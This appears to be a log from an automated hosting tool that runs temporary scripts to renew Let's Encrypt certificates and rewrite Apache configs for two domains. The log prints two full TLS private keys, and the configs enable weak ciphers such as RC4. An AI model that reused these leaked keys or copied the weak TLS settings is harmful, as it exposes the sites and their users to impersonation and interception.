    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>







2026-01-14 06:01:15: 

PUT: /tmp/pkp807259

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:01:15: 

chmod 755 /tmp/pkp807259; /tmp/pkp807259; rm /tmp/pkp807259

2026-01-14 06:01:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt	5450
0a:8b:67:cc:94:72:dd:92:5b:31:7e:47:8d:46:cd:9e

-----BEGIN CERTIFICATE-----
MIIFQzCCBCugAwIBAgISBrEKH8KoGt3kCgzm3k+FQw4zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE0MDUwMjQyWhcNMjYwNDE0MDUwMjQxWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCTY4FmnVxns1/M9572qjtfadIVzc9gAcSgnrirsoN+75pCQaR8bY4taLU9
tMf6eXMgVhwWrS9JudLK5dveG0B51LrHTRgnNCh0mS3thXvJz1iaP0i34/OyLAcW
sHzy0wDLAcXB3knP7muJ1fnFQGGQAnM+hE5CJTceqpmI+yFJcauXH8QEv6VCZ7pP
4+69ZPu6Cy2sMsUMUeA5HheHpqFfaekICSjjMwWou1th4psx7yYIXxJkeceeLbb4
OXeOMXxYYVTJ03FNx/+YNaNbIseIWJfGMzaU0lH3Qsqn/aUOg2z1HXSb+UnpSK9P
CQS4FiNmrooyB0An6C+fF7n7W46VAgMBAAGjggJlMIICYTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFI1M5vywYRh2hRiGpSQMSXV51MqbMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wVwYDVR0RBFAwToIRKi5wYXRpZW50YXBwcy5j
b22CFCoucGF0aWVudGFwcHNpbmMuY29tgg9wYXRpZW50YXBwcy5jb22CEnBhdGll
bnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzUyLmNybDCCAQ0GCisGAQQB1nkC
BAIEgf4EgfsA+QB3AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
m7sYB+YAAAQDAEgwRgIhAPwEgpxb1Npfzcn3sznqBjaGQ6w1/P3I5Bnjs9w4QV3I
AiEA4Vp4G7FFy8HNMhBBNSnZqLdth7cbP2DQ12XL1GNI7iQAfgBxfpXzwjiKbbHj
hEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZu7GAi3AAgAAAUABubC2AQDAEcwRQIg
IHPIsnyBsiJBZoJLjoHx3ZyzVRO72NyyT1TKpeqyaq4CIQDoXVnpR4AIpqTTlwju
oJ8IoqNa0UcbpAt48mESmFrpWzANBgkqhkiG9w0BAQsFAAOCAQEAOpcG2rvbLl3Y
qEghk3Pdhoer8b/a2FDEpoTFGse6Cdt2LeLsPMTkIasXGC84elnpKUSPfXySxVBH
s1ZAWT4mNhhqRIu4XGziIdojqHnzyjhwfMw4oyFJG8eO3MY8vGFMcct5fG/eCz2R
5RIoVoKCdUmXidYQSSE6ZriORT3LZq7vTqf9WVCYuI0sd/RN2/BFoFHEcPq/rQbL
WcWatxR49AIi5u9y2gh8xbutGpKEyxnR6+Vkzi+PcDF6Ax9vWMrqqEmvEeVC29UM
Lk+K4xk4uMCJyp+9pQr1UvDfhZbA5EdsmBuMsRvMedLWMxgu4ZfVp1wmAKzi+QRH
kndenNe5/Q==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCTY4FmnVxns1/M
9572qjtfadIVzc9gAcSgnrirsoN+75pCQaR8bY4taLU9tMf6eXMgVhwWrS9JudLK
5dveG0B51LrHTRgnNCh0mS3thXvJz1iaP0i34/OyLAcWsHzy0wDLAcXB3knP7muJ
1fnFQGGQAnM+hE5CJTceqpmI+yFJcauXH8QEv6VCZ7pP4+69ZPu6Cy2sMsUMUeA5
HheHpqFfaekICSjjMwWou1th4psx7yYIXxJkeceeLbb4OXeOMXxYYVTJ03FNx/+Y
NaNbIseIWJfGMzaU0lH3Qsqn/aUOg2z1HXSb+UnpSK9PCQS4FiNmrooyB0An6C+f
F7n7W46VAgMBAAECggEAN/eTDZo3mpE8kaJ91ICz5vlR80Ghu30wYyWiTmCNGkh1
tS8j/LPFR2z5VaMuROiVVPQd2maNDFvptW4vXVnP0/N5sXCO+WQO8KeyDv2fEfUQ
WhIp1NpUkZWyY2VFLRf+txfHNmTodnK8lyyPmd1mrr6fcF/hL7DeC2EQyDlEXJSf
1U3owShuj0PQqcZdKy34d9idWRQiHCRw2hQd8qtZAhNgGMucHfi5JBSmgNUY+RXw
1rLIa3lYPJgsxnEp8EYRWoybufG+PgV4WXXy+/15qHGOnrA8vszsA/rsCcLNrJeF
qYMd0p5ie72BbqRB1ztYaV+UHPDUKjbc1A5evgFVCQKBgQDHxY+fEpAM4rCiqtp9
oU06c+AKv0l/CuuUC8AKG5NatswcYZHvPwnDuwhNDH/zQy3q1/rQgrM7Cq13IQ7e
KhW0tz5W0vWruaSx8Y0kmzJ2Qk8Koxw2xzfxXQGA+IGdvARyXO9IHhDqphkA8pRr
AnTN/UpUhTAKDyULxxIsC3oOUwKBgQC834PHYst3ITVFtrMAY/dLCcs1gbobJbov
9xVtNK1gkSiG4ffdJUtbg5o3pq03rhT3qMCaCcDAErRj0Vg6XcrTXujzUmzcWzaO
fXdhfpIs4Rw4rdSyFczLnkchb6KhgjcHliKzUJTaBm6QLYegUaZbeTu/CotyeFu0
aBZ6fazCdwKBgHgabYtcVKB6lWlmwK8xD8YprjOn517qyNEb81vgUkoChlo1ytAE
nTFAu+/eqPoulGeRa+h5+5luhPWPOWoV8TDRzjfS4wJYPQ0CRTIR4Fe669xgTfEc
+qQwn1vTi9GyHRZIi09XTCJWs8efD935/xFsy4he/o+9pS8cgu9aAwqjAoGAWyEp
Txm+/DLcpk9ZnNWe6ujF0IJQTmrso9n+z5s8EDzZpgL/egdVjck4rqNQLm5jFX+p
tmkARGyB9yt5+2dnxoajtUtO1R95elTVNghA9UCEQmC1IFveXVx4C4z2liDi9lkd
UxGNUIkL7araJqNetgIPrsSitc+Wx7v1JJLguU8CgYEAp9etnOuPCgFBgFJ1GdXi
qIgg1QKYcdpCAHK26APbLQq+hSOCylznLM/lu39oAfo12wzPbajOxZgaPtVsJT3Z
5b+/CnPu/am+wLxyNAUPexLZO+WWWD+Asuu3CVDOlLr2YTkqRjqxCIUNT/fLHjz8
hW5NIDPnKLp6875zuG2W3d4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-14 06:01:15: Establishing a connection
2026-01-14 06:01:15: Establishing a connection
2026-01-14 06:01:15: 

PUT: /tmp/pkp344408

#!/bin/bash
if [ -d "/var/www/bucketgigs_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-14 06:01:16: 

chmod 755 /tmp/pkp344408; /tmp/pkp344408; rm /tmp/pkp344408

2026-01-14 06:01:16: 


1


2026-01-14 06:01:17: Establishing a connection
2026-01-14 06:01:17: 

PUT: /tmp/pkp620983

#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cat > TAJETTkCuJSgKpDgTo_mdysXI7YbttbivcVYYKjiZUs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TAJETTkCuJSgKpDgTo_mdysXI7YbttbivcVYYKjiZUs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TAJETTkCuJSgKpDgTo_mdysXI7YbttbivcVYYKjiZUs
cat > GMPWyarvCFYoS7qNlkC-_IJeQfVKwLh5cmUdmIFDkvk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
GMPWyarvCFYoS7qNlkC-_IJeQfVKwLh5cmUdmIFDkvk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 GMPWyarvCFYoS7qNlkC-_IJeQfVKwLh5cmUdmIFDkvk


2026-01-14 06:01:17: 

chmod 755 /tmp/pkp620983; /tmp/pkp620983; rm /tmp/pkp620983

2026-01-14 06:01:17: 




2026-01-14 06:01:31: Establishing a connection
2026-01-14 06:01:32: 

PUT: /tmp/pkp204067

#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
rm TAJETTkCuJSgKpDgTo_mdysXI7YbttbivcVYYKjiZUs
rm GMPWyarvCFYoS7qNlkC-_IJeQfVKwLh5cmUdmIFDkvk


2026-01-14 06:01:32: 

chmod 755 /tmp/pkp204067; /tmp/pkp204067; rm /tmp/pkp204067

2026-01-14 06:01:32: 




2026-01-14 06:01:32: Establishing a connection
2026-01-14 06:01:32: 

PUT: /tmp/pkp532200

#!/bin/bash
temp_file=$(mktemp)
TARGET=be8922daef9a813ed44bb374208016c1.crt

cat > $temp_file <<'endmsg'
75:4a:09:4f:79:b7:88:bb:85:41:b8:56:07:9a:e8:a4

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBvfmH60FIX9A5+0U+ENPSo0GMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE0MDUwMzAwWhcNMjYwNDE0MDUwMjU5WjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
uUiCn2H8oGMTRXgWTqo1RbqWp3a7gQKnXnLT1X45qcl2uonTwuaiKNld1j7FpsYV
8R3oX4t9ClvVqXIfJY0WAQ/TtAonDWN3ZUX5z2LIJ0f6Wb68LGw/vx+74IqWA1I+
RWr/Nkv5jNB0tfnzuorZ0lxHMRoL4YQ2O/T+AKKVt6onu2t+O17GVzpehLGLujPK
UghKxYyXInhXIE3AsWiuWYWYmu2QHqPH1q52S60VcSSxv4mYNQj8rL7qxzKj6f9R
D+D2TVIiVChgKiZeymUPBlADJaRQlApYEr39oO2DF1gYJBdPd5hRuqpAPdkHjM7C
NZIQCjfT5mitaeAO1cxqmwIDAQABo4ICLjCCAiowDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBRTiP024npK6ozEOidSlKuI6T/qEzAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWJ1Y2tldGdpZ3MuY2GCEXd3dy5i
dWNrZXRnaWdzLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAg
oB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNy5jcmwwggEDBgorBgEEAdZ5AgQC
BIH0BIHxAO8AdQAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZu7
GE7VAAAEAwBGMEQCIDdpXRhTOUDNuu7htGTkploLlTOkGInccKtqFV9gcigMAiAB
K1JDTAMj5RcmO8IyLGz1EyKCYS39UCdXXIjLUnMVwwB2ANFuqaVoB35mNaA/N6Xd
vAOlPEESFNSIGPXpMbMjy5UEAAABm7sYT5gAAAQDAEcwRQIhAL/9qEgYsHWBCpG5
GDH7a94nDmJEi/muxONlg6ToWApnAiANcd9RmtV0hx8+uciiTvDMGgntawk7RWjf
i+po2IcWGzANBgkqhkiG9w0BAQsFAAOCAQEAYb/ZK2zyttVCCkpVLerXPO5TG+cA
ijDGxN8u2ErO5klF3FK9/6kCBL1nVEzjFTRTKC4LMdeexiPhyPJSdlYuSN9HdoDF
wV14lORy0FxB0NPkNUuWeCWLRDC8eYQIBpUQFPKcLhEbj5y5Zhho0m+V/KP0FdFH
9YXWPdvMQ1uQQHeQFdFtm8d31mPTBCFXPNyHKqHkcWFZ39gXBxKE+LRtT91mZrZE
I7IeVGLAlPb84fvYsKlVzc1BGtMCz5kCs6F+b6H6+TNcXa+wfgFQGfrP5CjGMZDw
DAl8BiyGVumdVfDdqMzDIgYQhGjrDXinLB81+MUx6pYYPjPkgc2kcmWtEw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC5SIKfYfygYxNF
eBZOqjVFupandruBAqdectPVfjmpyXa6idPC5qIo2V3WPsWmxhXxHehfi30KW9Wp
ch8ljRYBD9O0CicNY3dlRfnPYsgnR/pZvrwsbD+/H7vgipYDUj5Fav82S/mM0HS1
+fO6itnSXEcxGgvhhDY79P4AopW3qie7a347XsZXOl6EsYu6M8pSCErFjJcieFcg
TcCxaK5ZhZia7ZAeo8fWrnZLrRVxJLG/iZg1CPysvurHMqPp/1EP4PZNUiJUKGAq
Jl7KZQ8GUAMlpFCUClgSvf2g7YMXWBgkF093mFG6qkA92QeMzsI1khAKN9PmaK1p
4A7VzGqbAgMBAAECggEAPACK6KGbZbdgDM28b6I4WUn5MudFBpz85Z3LEybq9pyb
GgK7dLEqz47BEDpI2N7qSSjV0WdDSaD+2v5trsP3XcWp2fK1veS5zC6ynSIQzoPF
Q938Y2h05miY97j5pr6yEtn5JzTIbn0tZqc48m635qNinLiiI1ilFZqbzUnZsV3Y
gwg9dUhsliWrg83xF/Pu3RstBIjBxGZ3yZubx1PU65n89SxAAU81kCSQ3XNriOQ9
TQflJmkDLibITWjAn+yfkoExj23JuUURy+gJU79OIWZxPJeUWOlqPBHxs05dZqLC
JGuNW2xi7LjCllGEVIlXmnJzE349b71+ltr4XkTW7QKBgQDkXjr2ifwj/JaaP2MF
zWvVsff/8NgXuf99ReYO6tiwbo6U+QppHcI0mmMKcPAgPnv43fCXzEVciCsy0VJv
HTJg34CDUln6EGefqqHMhnoggAyUuVnCJFNSfzwf9qANsXqrQlROMU9w3mkcXeJP
HsFgAVR+yzottJqbJFCz7X5CPQKBgQDPs7bJkd5SD9PVCxuMyJOMRonK1+qTEUKf
oONf4wWLzh0Ll2cgsC7gbDWyhq4PsEOzJHeztWxCOCd98H7Vo9QglivxKRc0Cugg
vGKep9tM/IBTQLHq0fOYjAty789Etxt4K3ui3u15PVWD7KbeFk3wM5/r5Lhjs9RH
hYx4NZ1ltwKBgEn84ZuYrxE1t9F3sexiVoqgo1nPvSNKxqTerZ+tpNDcsONBIIdX
9eC3GFl8p7+6ns3NkjKMIvjMwTowqUWIrxbFssxZNP+YqwoG7W7nLtAyzGCvAI6u
2DQFNwSgEdD97GFqFwhSX4uQ83sWS8kYjMw/AhImY84FEoYrKN5ylpJ9AoGAH+um
s+PPHx1/mMZUPZa11mEg3CPC0UddzdqUFzB0sb/DhvyFxOhOy/7VYdKA/bhBL07z
dpLzSFoI97n2RC8hcsChkDaYck8aza0mGuwBMBu+PQ08SrJplZAwUkG4wP7DIfzM
y4MnS/K5KcU8//S9laTZdw93pxsEDNnhdLgIsJECgYB04/FWcnEaa5X6JTWrvpg5
zKezXxCUMRNokSWIh17lFQv4fn/IJLGy/gIMTdK0+NT/6c+v6fWhN/n2LsDcnt0X
g+eLVOUAyRjM2CVl3Ier9fmZ4mfXZlfpyMMaPKZG5AGJKYtpgMhYRFTGhozQrKsU
IUYJ+13+RPq99i6jNZ4HYQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-14 06:01:32: 

chmod 755 /tmp/pkp532200; /tmp/pkp532200; rm /tmp/pkp532200

2026-01-14 06:01:32: 


dir=/etc/ssl/certs


2026-01-14 06:01:32: 

PUT: /tmp/pkp259236

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/bucketgigs_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-14 06:01:32: 

chmod 755 /tmp/pkp259236; /tmp/pkp259236; rm /tmp/pkp259236

2026-01-14 06:01:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf 41

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-14 06:01:32: 

PUT: /tmp/pkp473344

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bucketgigs_www_ca.conf
TARGET=/etc/apache2/sites-enabled/bucketgigs_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
